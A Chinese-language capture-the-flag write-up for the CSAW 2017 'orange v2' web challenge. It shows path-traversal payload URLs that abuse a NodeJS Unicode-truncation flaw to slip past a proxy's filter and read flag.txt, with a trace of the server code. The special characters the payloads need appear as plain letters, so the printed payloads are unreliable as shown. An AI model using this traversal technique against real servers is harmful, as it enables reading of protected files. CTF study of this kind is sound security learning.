題目資訊
I wrote a little proxy program in NodeJS for my poems folder but I’m bad at programming so I had to rewrite it. Again.
I changed up flag.txt too but everyone still wants to read it…
解法
這題是 [CSAW CTF Qualification Round 2017] - orange v1 (Web 100) 的延伸。
一開始嘗試了各種 payload ,猜測最後應該要為 .txt
,而中間不能有其他的 .
或 N
。輸入 %25
也會被擋,所以看來也把 %
擋掉了。
想想如果放入 %23
可能會因為被解析成 #
讓後面都變成 tag 而沒作用。嘗試了 path=%23.txt
真的跑出 directory list 了!
http://web.chal.csaw.io:7312/?path=%23.txt
依據 orange v1 (Web 100) 那題,這題最後應該會再做一次 url decode 。再來搭配 NodeJS unicode 解析問題,那就完美了!
(參考: A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages!)
NodeJS unicode failure:N => \xFF\x2E => \x2E => .
E => \xFF\x25 => \x25 => %
NodeJS unicode failure + url decode:E2e => \xFF\x252e => \x252e => %2e => .
http://web.chal.csaw.io:7312/?path=E2eE2e/%23.txt
http://web.chal.csaw.io:7312/?path=E2eE2e/flagE2etxt%23.txt
Flag: flag{s0rry_this_t00k_s0_m@ny_tries...}
後記
同樣順便把 server.js
撈了出來以供研究,看來過濾掉的東西都有猜到⎝( ゚∀゚)⎠
分析
連上 http://web.chal.csaw.io:7312/?path=E2eE2e/flagE2etxt%23.txt
req.url = 'http://web.chal.csaw.io:7312/?path=E2eE2e/flagE2etxt%23.txt'
Line 7: var path = url.parse(req.url, true).query;
path = { path: 'E2eE2e/flagE2etxt#.txt' }
Line 8: path = path['path'];
path = 'E2eE2e/flagE2etxt#.txt'
base + path = 'http://localhost:8080/poems/E2eE2e/flagE2etxt#.txt'
Line 25: http.get(base + path, callback).end();
Nodejs http 會把 base + path 解析成 http://localhost:8080/poems/%2e%2e/flag%2etxt#.txt
也就是 http://localhost:8080/poems/../flag.txt#.txt
所以就拿到 http://localhost:8080/flag.txt
了!